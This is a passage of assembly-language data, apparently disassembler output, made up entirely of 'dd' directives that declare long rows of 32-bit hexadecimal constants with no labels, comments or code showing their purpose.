		dd 7140DDA6h, 0B1506AFh, 59A5A838h, 0F918A278h,	4811EF4Bh
		dd 7AAC0175h, 27437885h, 833E76Dh, 0C82A217Eh, 511F0ACh
		dd 29AA03C7h, 8688412Fh, 814FF4BEh, 12EB2768h, 0F235E3h
		dd 6D55C9A9h, 288690C0h, 62B1D1AAh, 38F3106Eh, 6F9180A0h
		dd 94004ABAh, 907F6011h, 0EE4E578Dh, 0D52400D2h, 7A46A67Bh
		dd 0A839A101h, 53BD806Ah, 0D1A7910Eh, 50346145h, 0CC74F258h
		dd 2E60526Eh, 41DDDE81h, 4E0C3F54h, 0B091EB80h,	0BCCB1139h
		dd 83EE71EDh, 5181F6B9h, 4A482831h, 2B146E0h, 0B23DAF90h
		dd 104631DFh, 0AF782Eh,	0C1DA268h, 388BF0B4h, 0D3FA0477h
		dd 340F1703h, 1B32C5D1h, 3931F460h, 0E8E6B1A1h,	9601A252h
		dd 8DAD1408h, 218063F3h, 0BF3EAB2Bh, 822A2E0Fh,	6D0AB8FEh
		dd 0CC194C08h, 3958ADh,	74EFD71Ah, 851B1305h, 6C619007h
		dd 297C4CFFh, 924400F4h, 50B68B5Fh, 0CA0017B0h,	1D0506B7h
		dd 2CA7A3h, 0FA846327h,	0E8AA0108h, 8936F430h, 50B02976h
		dd 7A8E12Ah, 0F7EB4BCh,	39ACD6EEh, 0F9875601h, 0C832E07h
		dd 0EF12A987h, 2B05483Fh, 0C040A9Bh, 5B4133E9h,	433DA9D1h
		dd 95C1658Ch, 2B744020h, 8901F206h, 0EC87EB94h,	898238Ch
		dd 0FE482138h, 77D2F200h, 0C5992A0Fh, 87C913Eh,	5101799Dh
		dd 0DB598C88h, 282B5CD0h, 0C44852Eh, 4CD4EE26h,	1AC29929h
		dd 4D0821D9h, 77E0E000h, 3100B15Dh, 72802B14h, 0AB3E7h
		dd 33AA0DA7h, 0E8CA7FE2h, 2F577910h, 8B146F00h,	0BCAC05BEh
		dd 0B1632815h, 215533A8h, 8D12FF76h, 0C2506098h, 0B40D8029h
		dd 2EFD2609h, 6E5C1805h, 0C9AC07FAh, 80D14C61h,	0DC66D775h
		dd 0AABD8600h, 87138C3Fh, 39A10307h, 0EAB8653Eh, 680950B6h
		dd 803ACDB5h, 5F8688B0h, 7C84121Ah, 80C51CD4h, 0E59254EEh
		dd 0D8015B6Eh, 81AA0FE1h, 78874BC5h, 81C00A24h,	0E0482A77h
		dd 5F6FA012h, 601EB0h, 2BA264B4h, 0B8EB5ED1h, 6C1E0CA0h
		dd 50C42D4Ch, 486AEDC0h, 0CA4020B8h, 0A21F80EEh, 3C64D0h
		dd 6228D656h, 0AED84F7Fh, 1488961h, 0CAC6A9B2h,	0A4744920h
		dd 48CFD0Ch, 857EAC41h,	20496298h, 0D0AC794Eh, 8AAAB100h
		dd 0F8D7D5DEh, 7BBB2838h, 42DD02E4h, 4E75A8B4h,	8D859881h
		dd 3CC518Ah, 7D906392h,	18289A30h, 88EDAA38h, 8F488610h
		dd 17A2304h, 0AC08BE88h, 89431894h, 5D3C7073h, 0C908DE05h
		dd 688115B4h, 2B103DB2h, 1C9ADA81h, 3B46903h, 14F285CEh
		dd 38C9FD99h, 5B8C3AACh, 24EAC46h, 0F1D5894Ah, 20C4A030h
		dd 9525BC4h, 6D63B2C6h,	282E4800h, 0AE1C7A6Fh, 209661A1h
		dd 0C2E8AC43h, 0F1E5991Fh, 3002832h, 0D5A741EBh, 720054CFh
		dd 5291597Eh, 4D683C0h,	892EB553h, 0F3F89186h, 0EB398033h
		dd 0F86F62E1h, 928E0063h, 0D3EAF522h, 9400DE4Ch, 3545CC53h
		dd 0DD41525Fh, 0C6003FC9h, 19025C87h, 80014D86h, 0BE96436Dh
		dd 5671C459h, 34A76FECh, 17191D8h, 34B066A0h, 217ECDB6h
		dd 2542640h, 61B84C6Dh,	0B2004129h, 87069026h, 286FC1F1h
		dd 7846F8A4h, 6BEB601h,	0C27A4ACh, 0E4858950h, 1800E2BEh
		dd 1D75A553h, 2B9D0BFh,	0A94ED2C3h, 4448A056h, 0EF39BB3Fh
		dd 0B69006E9h, 26A8707Ch, 41708E2Bh, 0A48D9E5Ch, 0BA83D019h
		dd 8B45D6E5h, 88F7A384h
		dd 0B9BCEA49h, 1842D1E4h, 43BE012Fh, 0C9DE5B03h, 9FF06EECh
		dd 0CC70C07Dh, 0DB524F63h, 43586D01h, 0E8F48916h, 30FE4421h
		dd 43ABEB4h, 228856ACh,	75FE23Ch, 462069BEh, 99ACD073h
		dd 14981C35h, 0D59EE20Ch, 8482F962h, 1020BEE4h,	885426ECh
		dd 1B640148h, 0D151AADAh, 3283291h, 0B7D3B4A2h,	0FBEBE131h
		dd 305F8442h, 8313AF7Ah, 0FC388FB2h, 0AF82122Ch, 3E50077Fh
		dd 0F695C003h, 0A70D895Ch, 0A811B5A9h, 8C846C30h, 0B0F20704h
		dd 37622394h, 0BF60101h, 3C9ECAC4h, 0B6004D99h,	7574C81Ah
		dd 6E001D7Ah, 0E342C280h, 47F1B3h, 0F498C53Ah, 1A523FBDh
		dd 9A88F501h, 9BCF2ACAh, 610409Dh, 11A9C99Fh, 0BF1D600h
		dd 0A0273F5Fh, 0D7373305h, 2100E008h, 500B09F4h, 248DBC8h
		dd 471A6236h, 1420B686h, 1F27D40h, 0AA0C9485h, 0F04CBBD2h
		dd 58E82516h, 0B9989E37h, 0E846A9C1h, 1BA5F8C8h, 8801EB2h
		dd 0DA3F21AEh, 50540091h, 0CF3F7776h, 8D683893h, 0B940CB00h
		dd 0B6E8654Eh, 16C1CC0Ch, 146C80B4h, 80532680h,	44CE9800h
		dd 865E7DE2h, 0FE00727Ah, 4C84C76Eh, 1826108Fh,	0B9BECCE0h
		dd 0D6000872h, 0F778EB1Dh, 475AEh, 0FE426440h, 9B64B4Ch
		dd 0E9C006EEh, 9758ECA1h, 0B743066Ch, 8F38440h,	0A7219E60h
		dd 7D675824h, 27FC76h, 9DF7DA55h, 721A315Fh, 9A9C7400h
		dd 427B3F6Fh, 0BAAA28C5h, 0EB64690h, 482E4693h,	47C7C4A8h
		dd 0C9E29BD8h, 0E3FC619Eh, 306EE880h, 0B3CCDA91h, 0BA101CC6h
		dd 92574818h, 0F8E98F14h, 0F201AE23h, 1F3F600Bh, 0F388AA18h
		dd 0B60B000Ah, 7717F5C6h, 0B0020831h, 7D32DFDEh, 622840F1h
		dd 44F9C0ECh, 6648537Fh, 78CB1701h, 0A58429F5h,	300EA042h
		dd 9211582Fh, 9C88FB6Ch, 5827C480h, 75DEB82Bh, 0BFD20614h
		dd 7006151Ah, 0DCEA0C00h, 0BD4FE7F8h, 88435046h, 8144189Bh
		dd 680B9B0h, 136A8300h,	14058C84h, 2A6F7C26h, 0A0CB9Fh
		dd 1E99313Bh, 96BAB30Dh, 0A84CD600h, 52FA305Ah,	0C1400351h
		dd 5EA667F7h, 10DC023h,	6C935820h, 20FA1923h, 0D65818C3h
		dd 5650E902h, 847435B0h, 9808EDC0h, 5E0BF0C0h, 77EF463Fh
		dd 8E988h, 0D40EC0Bh, 0E6738BA1h, 0E15CC114h, 84AD88F8h
		dd 5F383140h, 9CC8A710h, 620BFCC0h, 380F523Fh, 0BF4F580h
		dd 8E022E06h, 0CC3DDB18h, 817C80C5h, 995AEA5h, 41F66396h
		dd 0D942B400h, 9480AD44h, 0BDEA303Bh, 3FFE4E18h, 9DAB8609h
		dd 1B0C80B4h, 30CC675Bh, 6C51E7C0h, 49C1AA28h, 0EE5CCE9Ch
		dd 0F230C107h, 640405BEh, 490FDA34h, 0AD5379C3h, 842E5000h
		dd 0F724B703h, 0BBFF50E0h, 0EB9901F8h, 0EE6A8DE8h, 0E318208Bh
		dd 0A3230109h, 2D142048h, 7F2695Fh, 97D24DC5h, 52085CCAh
		dd 589E21C0h, 71D6269h,	0B9CDA99Ch, 47A6226Eh, 9873AE20h
		dd 33454C64h, 0F6971000h, 58AA18A8h, 0EC8B8D24h, 35CBB606h
		dd 0CC4D4C31h, 0C003DA22h, 2332F20Dh, 4620064Ch, 0E0EF54D1h
		dd 6683020Dh, 820284Ah,	951C8CB4h, 0C3BCEC46h, 0C19DDE84h
		dd 8051A398h, 0C9070579h, 1E958D40h, 0C13AF9B7h, 0FCF57C0Ah
		dd 0CEBAE4B8h, 644E710Ch, 282EA9F1h, 7284E314h,	1E540F2Ah
		dd 0B840112Dh, 477C3A0Ch, 93AD310Bh, 6228025Bh,	187400A4h
		dd 0BCA0C0E0h, 0C4D408Ah, 3F0BC98h, 0F7BA5C83h,	0C7FC9F2Fh
		dd 0EBB182F4h, 86452A00h, 559A2848h, 0F19B0090h, 0C308269Ch
		dd 0E22A8F41h, 0C110A840h, 7002A8D8h, 0E53BFE28h, 0E5183041h
		dd 34E2CE2Eh, 420134A0h, 0B6299DB4h, 0E8CF208Eh, 649DC93Dh
		dd 0E980AF11h, 9C8D4BE8h, 0A100CFFCh, 0CD9A51B2h, 0E6C3F2D7h
		dd 0C05B0631h, 39C49F41h, 92A53C00h, 3EE303A9h,	47F6128Ch
		dd 30E4206Bh, 4412CA59h, 24012AF1h, 99351AF9h, 9637C840h
		dd 0EC28C0ABh, 0E62D3E33h, 2BAC0C9h, 530ED0h, 0B98475F5h
		dd 0F7956300h, 0DC3146F3h, 0BF8DFB6h, 6100D269h, 416150A8h
		dd 0CDDF4E00h, 371E27D3h, 52B10CB7h, 9B70879Ah,	0F1EE3901h
		dd 9E3DC0CEh, 494B06E0h, 0FC00E04Ah, 2723CCCDh,	1402C518h
		dd 3757A253h, 7BE5805Eh, 0D9C3D7h, 0BDECCFCh, 47749C8Ah
		dd 7C718E00h, 5D52FBAh,	56D40336h, 5BB364A9h, 0ACDB3DA0h
		dd 31014270h, 0D771E5D9h, 8985D01h, 4D1721A3h, 0CE07D6E0h
		dd 827F4E95h, 2D7086E0h, 0BD3B012Ch, 0B3BAEC5Dh, 0D1C26173h
		dd 0C8398057h, 3ECA83E4h, 55D03F23h, 30207018h,	577CD46Eh
		dd 0D7DF9D04h, 9819FB98h, 0E043184Fh, 4DD92364h, 1E1C8911h
		dd 672D004Ah, 1A4C8DC4h, 83C2EF0Ch, 7A16888Ch, 70086DDDh
		dd 0F262F031h, 20A51332h, 1244C18Ah, 0B3442080h, 0DC40B152h
		dd 0FE8D271Ah, 11481798h, 7894808Ah, 18DA4F93h,	0F16E0C45h
		dd 0FF78DB57h, 0BED40600h, 0D31AB89Ch, 71DD00EDh, 80C73A2Ch
		dd 0C300AF4Dh, 9074EE03h, 88CCAAh, 0CE625FB4h, 652B3A37h
		dd 0FA37F38h, 4027AC3Dh, 0EF8B295Ch, 258A0061h,	4F4DF934h
		dd 91009B32h, 78B2D844h, 1B0CEAh, 0F8BFB58Dh, 1CB6FB6Dh
		dd 0FC3E7500h, 971ECDF0h, 38CA1774h, 63B40065h,	71AD2C55h
		dd 5F0027F6h, 3A5BC9ABh, 1C880F01h, 0C7FDB7C0h,	1FC7C47Fh
		dd 0B0596F60h, 9A03B506h, 3FA1962Fh, 5275B0A5h,	2CDB0171h
		dd 9E88F91Ch, 9333D474h, 0A3101100h, 66E9B2FAh,	64A75803h
		dd 98FF618h, 20C31197h,	0F06620D2h, 7625C721h, 3DF500BCh
		dd 0A6E458FBh, 100012FAh, 0DA51D003h, 19CEE73Ch, 8B72405h
		dd 0F9218049h, 29FE51F8h, 1607373Eh, 0B6EDC058h, 0AE013779h
		dd 70026319h, 0F3CFA2h,	0EC8B7299h, 87996F1Bh, 8442560Ch
		dd 1B851A4h, 33D202CAh,	106107CDh, 39EB6641h, 0D68053BFh
		dd 9BBBA6A1h, 69074397h, 0A2D4C706h, 2D7172D0h,	1453E03h
		dd 393A0981h, 873F9362h, 92D0B179h, 0C20F5770h,	6BBB0051h
		dd 5C7847E7h, 0FD0025F5h, 5A0544EEh, 0A56FF99h,	92DA1C89h
		dd 66DC60A8h, 7846A7DEh, 0ED03B322h, 0E33266D7h, 0E2B890FCh
		dd 0F65B026Ah, 81F1E1Ah, 9441A300h, 0F9D9C60Bh,	20F4F9B9h
		dd 0E00C8500h, 237C724Ah, 0F45A0066h, 76D77844h, 0E80C0E03h
		dd 49FB5B71h, 6D8F02DFh, 5079132h, 80D1DC8Fh, 3CDD51DFh
		dd 10EF8CEFh, 0F5107C8h, 133ACA21h, 0E08019E9h,	287AA226h
		dd 6239D4A4h, 710F751Eh, 3517543h, 0C02A60ABh, 0C04693ECh
		dd 15F36829h, 0B20374C6h, 4291288Ah, 3D40CF3Ah,	61FC4310h
		dd 70AEF805h, 20A212A4h, 0FD8724D8h, 3E817601h,	4599ECB6h
		dd 71611CE0h, 72433793h, 59977078h, 1B003371h, 70D9E9FFh
		dd 0C44C184h, 0F3F9728Ah, 0C800CC51h, 653C7D6Fh, 0F44BA8Fh
		dd 5591CA54h, 3C3E004h,	97F9FAh, 0F8D37931h, 0B7A2B0DCh
		dd 9CA7A900h, 0F52EBB28h, 0C8FA017Dh, 44824F84h, 0F884FE18h
		dd 0D8B4820Ah, 1066DA30h, 0E0E8A704h, 3C66D5EBh, 0FF807EF9h
		dd 4370D3BCh, 83224560h, 6A442CA3h, 77A60025h, 0FCC5B91Bh
		dd 0C03468C8h, 0A7F866E6h, 0E040C848h, 2C6621CFh, 8348C3h
		dd 0E30D5937h, 1E124BEBh, 40214F71h, 0F13029Ch,	752888E4h
		dd 4988331Fh, 3EA2BCFh,	30ACBh,	3D8CB029h, 56DF9957h, 0C7912B19h
		dd 21802808h, 0D93A34D1h, 4706C692h, 268B96CEh,	23546C0h
		dd 0A70566DBh, 10B631D0h, 2C66D2DCh, 265E4E3Eh,	7A9D0EDBh
		dd 6938070Eh, 0EC048658h, 3D9FABEEh, 197C86h, 0E8CA9094h
		dd 0DB9C1E47h, 8A044E1h, 4393B9B0h, 1A813800h, 3ED4A718h
		dd 2118152Bh
		dd 5AA3215Bh, 8C438400h, 87A40673h, 8EE667Bh, 0BB002145h
		dd 0F27443FFh, 74E0E77h, 0B8947D07h, 89185605h,	37454800h
		dd 2D538CF2h, 88B005Bh,	88E3B524h, 452C041h, 0F83C11BCh
		dd 1C68630Fh, 0D58A148Fh, 1C134A48h, 0A0A6CA30h, 0B744BD48h
		dd 1015B76h, 0AD4A4FCCh, 9FFD45BFh, 72A24189h, 8AE3E413h
		dd 0AB22797Ch, 0C43885FBh, 26106738h, 0C9E8925h, 3384453Ah
		dd 7509EB51h, 9FD95ABh,	77F80220h, 0D2F7200Fh, 750A311Eh
		dd 40AB5C71h, 3871C0A1h, 1D026A18h, 0CEA2FB47h,	71C48CCh
		dd 85E1C30Dh, 0BDC8E870h, 65079544h, 0A2C9296Bh, 40341E52h
		dd 86928948h, 0D166DF04h, 9B6270A7h, 0B880E824h, 60F83E1Ch
		dd 1F8EA98Ah, 0E3248968h, 0BC18EAEFh, 44F719h, 0BEEC8AFEh
		dd 1B355DD3h, 98D11499h, 0CF063618h, 0C168A2E8h, 8D451819h
		dd 0F35C69A0h, 4A1988A8h, 5E0E2101h, 9F39D6EFh,	9DA21833h
		dd 0C351330h, 40901AEEh, 3200F939h, 0BEB6ACC9h,	56CC1E2h
		dd 0F44AC46Eh, 0D1408C59h, 9D44A8A7h, 36877360h, 20460092h
		dd 8B435702h, 3931EE73h, 4302BA10h, 0C1B28E09h,	0A9E807D2h
		dd 4540EB87h, 1018093Fh, 58A31F3Ah, 46596088h, 1364345Fh
		dd 8DD72AEh, 30C0076Ch,	0B899733Ah, 916C910Bh, 0D8C50214h
		dd 0C1FC093Ah, 0D0170F8Ch, 3318208Dh, 6488F829h, 0D4194571h
		dd 31004756h, 0DD391F0Fh, 0DB4573A2h, 8100A261h, 0ED9D6709h
		dd 1DC1A5Bh, 526483B1h,	85F4F98Ch, 29198071h, 0AEB70CC0h
		dd 7F99003Bh, 0E1ACD0Fh, 0F01415FBh, 3C2C2893h,	876000D3h
		dd 4564FEDCh, 8ABCB996h, 41A03767h, 2363FE89h, 309BA228h
		dd 7C006E47h, 0DB5A0633h, 146FF5A9h, 9811788Dh,	28C46FCh
		dd 92C33F66h, 78E2DDF9h, 4BE454E5h, 94F32E60h, 431B6A13h
		dd 3B0F0E03h, 93692947h, 52F200C0h, 8F97DCB4h, 19021D1Eh
		dd 73D65440h, 0F10AD33h, 0FDEB57C9h, 0F8A37642h, 4104284Ch
		dd 3799703Ah, 8900D638h, 4D7C963Dh, 0F9D5BE2h, 71786AEAh
		dd 0ABDCD443h, 0F802D810h, 8851DFDDh, 0E370B73Ch, 0A05101CAh
		dd 4D99EEC9h, 1CC738Fh,	5E8E2320h, 89D45B5Ch, 0B77B019Fh
		dd 0A37933E7h, 8B5C48CAh, 995A3D1Ah, 1B5C24B0h,	3A33D040h
		dd 0CB0352C6h, 0D6658CA4h, 2371EBAEh, 8438FFB0h, 0F3CE951h
		dd 0E420F062h, 5051CBh,	8E42D9A8h, 41AA0B9Bh, 276093FEh
		dd 0D4E1C8B9h, 339C02C7h, 0DDE60A74h, 0AD704C5Bh, 0FFE0252h
		dd 74F2E7C4h, 9971E851h, 0DF005D18h, 1C47CB16h,	0B188C665h
		dd 0C5263Ch, 79D9ABF9h,	0F6122FFEh, 5BC01A4Ch, 12E7A1EBh
		dd 400B5CC3h, 5116FE30h, 4E1F54B3h, 5640221Fh, 96CC8E99h
		dd 2D30928h, 78681907h,	210047FEh, 4962538Bh, 63A7054h
		dd 75A2F516h, 4518C12Ah, 43F1A585h, 8B160418h, 0B49C4E63h
		dd 39300F30h, 927181F4h, 327C20h, 44C75C8Fh, 7BD91F56h
		dd 0D3E96902h, 232EAA41h, 6DE05D8Bh, 0F66F5CBEh, 0E1066141h
		dd 20C01769h, 0A0701DD9h, 1F7505DFh, 501440E6h,	2B8DE980h
		dd 8B773F01h, 7E5A8F62h, 3CA4EDCh, 0FF099A2h, 3101FD0Ah
		dd 0EC8B5C75h, 0E872A741h, 0E33CC800h, 71432611h, 733F0638h
		dd 34D36F2Ah, 68604100h, 1458BBF0h, 72CD2632h, 405026A7h
		dd 6E6A8F08h, 0D46F6B01h, 28CA5E24h, 0F392DFF0h, 8554EE0h
		dd 9E9043F7h, 1E80AF80h, 0A0BDBh, 0FCF97A34h, 0C06E6849h
		dd 52178307h, 6F47570Ch, 0BC439DD5h, 0D8797551h, 49E045h
		dd 88E8BC62h, 71F49591h, 4C00ABE4h, 7AE1B390h, 2AA25821h
		dd 5E02E7Ch, 5081C988h,	7398C1F7h, 68C01411h, 133D4E62h
		dd 909044F5h, 8B5CB60h,	25142807h, 18D06507h, 71887FD0h
		dd 0F73427E2h, 95D02813h, 0F6091D1Eh, 4A99454Dh, 24D80000h
		dd 1C317A0Fh, 0ECB18B88h, 258D4010h, 680192B2h,	8275B72Fh
		dd 0D448070Fh, 76F40474h, 0B2A8DCABh, 94DF01B8h, 0FF8B0FA6h
		dd 7B4DCCh, 0D8C91684h,	0A9AA28CDh, 2C781E72h, 1C924E18h
		dd 424DA89h, 3F07E4Ah, 8FCD40E5h, 68A456Bh, 902DE89Fh
		dd 1D009914h, 65B96CA6h, 463E7h, 936EC48h, 55E933Ah, 889E7202h
		dd 808245F9h, 8C182D74h, 1F0CC7Ch, 0CD09F3B8h, 9090320Eh
		dd 8B08F4h, 0F68E4D28h,	9B3FAF97h, 45034401h, 8F1B5CF4h
		dd 0E3CF7F0h, 71A2E69Eh, 311E83DCh, 69001307h, 0FCF1CBD0h
		dd 0F57530h, 0D24C549Ah, 7F7DEEBEh, 0C0C3D0EDh,	520FFB00h
		dd 24627265h, 1487D85h,	81517843h, 84453BD1h, 716F2B20h
		dd 0F75EAC81h, 92FF2E0h, 0ACCFC82h, 222B8068h, 10590C07h
		dd 0D1BEE38Fh, 0CE9D1E00h, 0DBD0373Ch, 0EF958102h, 40E9BE7Ch
		dd 0C2BE9h, 4392CD78h, 52047AD7h, 44C409EAh, 0A4B2710Ah
		dd 0D5FCC700h, 0C844FB41h, 9A7440FDh, 5D1ECE98h, 0D9C039EFh
		dd 0A04ABF93h, 0A67902ECh, 2D829404h, 0C22EC0B1h, 6DC67040h
		dd 2094F0A1h, 0F10F4BC8h, 58AFA4Ah, 0B8884393h,	40AF0050h
		dd 0C58821BEh, 0A5E699FBh, 50D25E26h, 6D74DA00h, 886007DEh
		dd 300EF7Ah, 0A92DE1EAh, 0F6F1DA7h, 5BE996A4h, 4E762BA0h
		dd 0F4509450h, 8A2CF0DCh, 0B86030AAh, 7D3389h, 0B5374B72h
		dd 2D1E76DCh, 1D7C5A09h, 2F28643Ah, 96F05E7Fh, 9186C500h
		dd 0ADD1E2B1h, 0A0443BD7h, 47EE1700h, 89D55C37h, 9F91B73Ah
		dd 81BBDF27h, 233DFD7Bh, 608ABBA2h, 1D600A35h, 1730C7E6h
		dd 7C8490D3h, 41075977h, 0ACCFA189h, 40200F91h,	9692BC24h
		dd 0B80B8704h, 9FB12061h, 0A100E269h, 6D7E48C3h, 4D71158h
		dd 286E817h, 4184D884h,	2F09252h, 97822476h, 158C83C5h
		dd 66F4C20Fh, 0C36F1298h, 90544269h, 0D86309B4h, 7B4C80FCh
		dd 0FC6EE95Ch, 0E7836028h, 0A44AF37h, 9EE47D2Ch, 8BA880FCh
		dd 8F9B8948h, 44258706h, 4850A03Dh, 9550124Dh, 802099F4h
		dd 25BC6B2Fh, 0DE0F0B3Fh, 4363CC04h, 0CB78CAC6h, 97805B0h
		dd 0C241D7EAh, 0C45B51h, 0E3B52E01h, 0A7098163h, 6004F420h
		dd 0FF708EEh, 304B626h,	56B1C5Eh, 4DDF0200h, 7500B19Bh
		dd 0A92436C0h, 0C0B9D501h, 0CD82FB29h, 49002E79h, 52B5A64Bh
		dd 8D79C3Fh, 26EB76Ch, 5A1A8A01h, 0D0F4AF5Fh, 4B43001Eh
		dd 7808DC3Ah, 0D9003996h, 84713619h, 38B05E80h,	0C5007765h
		dd 0B2138BF2h, 71DC10D5h, 759B59C2h, 3A422Bh, 6C579BDh
		dd 1B2E03B9h, 56F8C6F3h, 0B503B800h, 0C7420A68h, 0A5FD0C67h
		dd 0FC9116B7h, 1F00F8EAh, 4F6A6647h, 802E8Ah, 6022A0BCh
		dd 0F3FEA65Fh, 0FBF4C501h, 7D972C61h, 0B91A6883h, 613E4BB1h
		dd 619B006Eh, 40882FD8h, 187D7C37h, 691BB778h, 10F23BAh
		dd 608CF306h, 0F2CC75DBh, 3531004Bh, 0F1BC6FF8h, 0D452629Ah
		dd 283ABCh, 0F2F4904Eh,	0AB5248h, 5B400530h, 0FDBD0274h
		dd 35D0361Ah, 0DDB74361h, 0D6A0D458h, 11196070h, 0FB727886h
		dd 0D4FC4D0Ch, 0CF6104h, 0C4B6E641h, 0E40EDF79h, 0D4A8B70Ch
		dd 7B5F210Ch, 940A0063h, 0B95C85FAh, 6800C217h,	0ABAC526Dh
		dd 297FBC5Bh, 9EB41303h, 95A1C097h, 0B6AFAA42h,	5609BE8h
		dd 0DFFF6051h, 0D24F03DCh, 346BE2FDh, 1246A103h, 0D8D829C1h
		dd 3C68AB2Bh, 0B387FB4Ah, 73CBF342h, 0E9019741h, 50C9821Ch
		dd 0DB911Bh, 0DB802A41h, 0C638AA6Dh, 0B090AB3Ah, 2ECC3118h
		dd 4F28013Dh, 27F4F810h, 0CD30C47Bh, 0AA4A5914h, 179F80A0h
		dd 1DEE2C9h, 66EE208Ah,	0BD4D85B9h, 7C3782D9h, 90814175h
		dd 0F495B90h
		dd 79FF1D1Fh, 639969A1h, 514CFBB7h, 91BD06EDh, 4C83EA4h
		dd 0B760A1CBh, 5FD44032h, 7DFE9B8h, 0AF2C41C6h,	7874C0DAh
		dd 48005D98h, 8326D19Dh, 63F84D94h, 0EB628950h,	0F510F1F8h
		dd 9EA90D1Fh, 26D84400h, 0A8499AC2h, 4CCE2A68h,	250065BCh
		dd 6B58FF91h, 48C05F8Fh, 2127493Fh, 73320081h, 0AB8CE99h
		dd 0FE073B46h, 0A96D54B2h, 91615210h, 0F88418F0h, 3016815Ch
		dd 6AFE95B8h, 9700FC74h, 233CFF8Dh, 5AA835Dh, 0BB5EAC92h
		dd 46C020B8h, 3B00B21Bh, 32FB51CEh, 317F9Eh, 458D52B7h
		dd 135C72Ch, 22D84149h,	0C3CC0158h, 3C68A6F0h, 0D5020E3h
		dd 0B8BF0F0Ch, 171D5919h, 1C9454h, 1870163Ah, 0F4124F9Eh
		dd 8000E83Ah, 4E41F126h, 52607B71h, 4018CB7h, 0A32847AAh
		dd 4F51E4FFh, 87946A48h, 69F06242h, 28BC1A35h, 0C3668h
		dd 0C5643C7Dh, 0A4AEFD17h, 3E913B00h, 8D03457Eh, 53F0076h
		dd 0E4B88033h, 0EB24A1A9h, 2000E8BAh, 1C57CBC7h, 586848E5h
		dd 0EB6CBE80h, 0BA1275D5h, 0DC21821Bh, 0C7F91D83h, 2C80E022h
		dd 14F96BF0h, 5D52CC00h, 8C1B1F58h, 8921DE0Dh, 0C490D471h
		dd 0FB1EAC4Bh, 0AE49CB75h, 0E73D80F4h, 0DD8C3h,	0D4322FDFh
		dd 0F829784Fh, 9CB85754h, 48B58B54h, 0F2219A03h, 316B64h
		dd 0EC966A61h, 9C2A207Eh, 9242F2C1h, 64ECF43Dh,	88793F32h
		dd 41487303h, 89000B9Ch, 0F6BF8034h, 89FC49h, 7A2B0105h
		dd 94F4A5BCh, 7C8D1B28h, 6518F890h, 9311336Bh, 0DE5B0082h
		dd 0C2C181FEh, 5F00553Fh, 0ED6621C6h, 0C05DF838h, 0A17C01B9h
		dd 0F70079FCh, 0B33241D9h, 1472FFh, 66086FA9h, 0DE3682D6h
		dd 14001E49h, 0B08197h,	15E9882Bh, 0F7D2CDh, 0AB659C3Eh
		dd 43891B3Fh, 5CB24126h, 80E48C40h, 513B12FFh, 405C095Fh
		dd 358AF418h, 0FFA25000h, 0D53ED31Ch, 7A39C00Eh, 35A99AF8h
		dd 0F350E100h, 242C6045h, 603F78E6h, 0F01C419Ch, 9724EF9Ah
		dd 0EB60B4B2h, 0C1BB87h, 0ECF1D6F4h, 8FF93C48h,	0D1168071h
		dd 14003D5Dh, 8E250546h, 8749060Bh, 4142F8FEh, 0F6BECB0Bh
		dd 0C3D68009h, 7F73FBh,	9D95AC24h, 555E4BA6h, 707D1900h
		dd 7475AACBh, 0B0FD7C9Ah, 0CD34070h, 8B1F4790h,	0D801F998h
		dd 43F8E32Ah, 0E5B86180h, 0FE0C6F9Eh, 0B48F5D00h, 602E902Ch
		dd 928E05C7h, 96E3579Ah, 6258E094h, 0AA34C02Ch,	0F0E03CF9h
		dd 3BF8008Bh, 51F7A19Dh, 4F980F80h, 9630C102h, 804D52D1h
		dd 1AD871B8h, 0DE10183h, 324CA129h, 510CDBD5h, 14B2044Ah
		dd 0EE1A5812h, 9D2C7800h, 0BD5159C0h, 0E499B671h, 827B14h
		dd 19C72B24h, 4CCB4193h, 661EE09Dh, 3B9FFC50h, 20AA1347h
		dd 0DC8F3A34h, 4CC28600h, 8E10CDE7h, 9C0C0B1Ah,	40101E68h
		dd 93E0158Dh, 0F892FB07h, 8008D636h, 6BA75C52h,	2A7EF064h
		dd 0ED00FB7Ah, 0FF2FF2DFh, 31B91B44h, 41A14583h, 0F094489Eh
		dd 981E88A0h, 3200ECA6h, 0A3257E2Fh, 982B5D6h, 3E938390h
		dd 0F89F3002h, 620148E4h, 4E26DC70h, 3C32901Bh,	0D30AA448h
		dd 11A09465h, 0A438F5h,	52E6301Ah, 7727F45h, 9AFB1E8Fh
		dd 3F19E16Eh, 0EE8C21E9h, 75412480h, 68901E78h,	0F46BC638h
		dd 655CDA1Fh, 9C209F52h, 30313595h, 2D78BF22h, 4013A07Dh
		dd 5C20831Bh, 1552BD9Ah, 0F414865Ah, 922CDF00h,	8089D33Eh
		dd 4ED9E206h, 3B87251h,	0C4096D94h, 4107186Bh, 0AA8DFC47h
		dd 6CB6CDB0h, 3EDC93F7h, 0D9DEEB84h, 4774CC60h,	14755113h
		dd 0FD34F207h, 40B39D32h, 0B8072A3Fh, 0D51044A8h, 0BC1DC4B9h
		dd 9F34B080h, 48D4Bh, 21FB0BF3h, 9D820843h, 98516E3Bh
		dd 3CE8451Dh, 25C4A72h,	3A268314h, 685C4077h, 0F44112F0h
		dd 4AA8880Fh, 0FCBB7600h, 97B9D13Bh, 84C250E5h,	6CAA3159h
		dd 705BA689h, 1901C87Ah, 0BE657CDFh, 0E5E40405h, 97AD5CCDh
		dd 74038842h, 69F52933h, 0CE51BC98h, 0CA973809h, 7E740072h
		dd 0C017B74Ah, 74948459h, 0F62F6656h, 0CCD50BAh, 0CB97325Ah
		dd 2212DDC8h, 74003FADh, 75DA2B3Dh, 90AA5272h, 0FCBF5900h
		dd 0F192C4E3h, 90656A01h, 0D8EFE8ECh, 9A1CFC0h,	0A6FBB973h
		dd 49D09418h, 393B6705h, 9087893Eh, 239898A9h, 90370015h
		dd 96FB65DFh, 411863CAh, 0F0210FB5h, 3D380055h,	23FFE8Dh
		dd 43EC9689h, 9C66491Ch, 36B2794Fh, 0BC1F8C08h,	0C6B8780h
		dd 98E50580h, 9D84FC0Eh, 14AA0099h, 6079364Eh, 52EF8826h
		dd 9401DA88h, 4BC983BCh, 0C062371Bh, 86248001h,	30F03074h
		dd 54449928h, 0BBB43341h, 0D0F56AA1h, 91BE4AB0h, 9BB049E4h
		dd 62930D00h, 33049A21h, 16241D19h, 1B5B8096h, 0FB526959h
		dd 51514160h, 734E00Ch,	0B8AF7423h, 812980B1h, 84CCBE1h
		dd 268214A8h, 8BF500D0h, 0C43187E9h, 2A426BDh, 0A61400B4h
		dd 1BBB4801h, 3A848E56h, 0C3368F77h, 46B01AC2h,	83A53EC8h
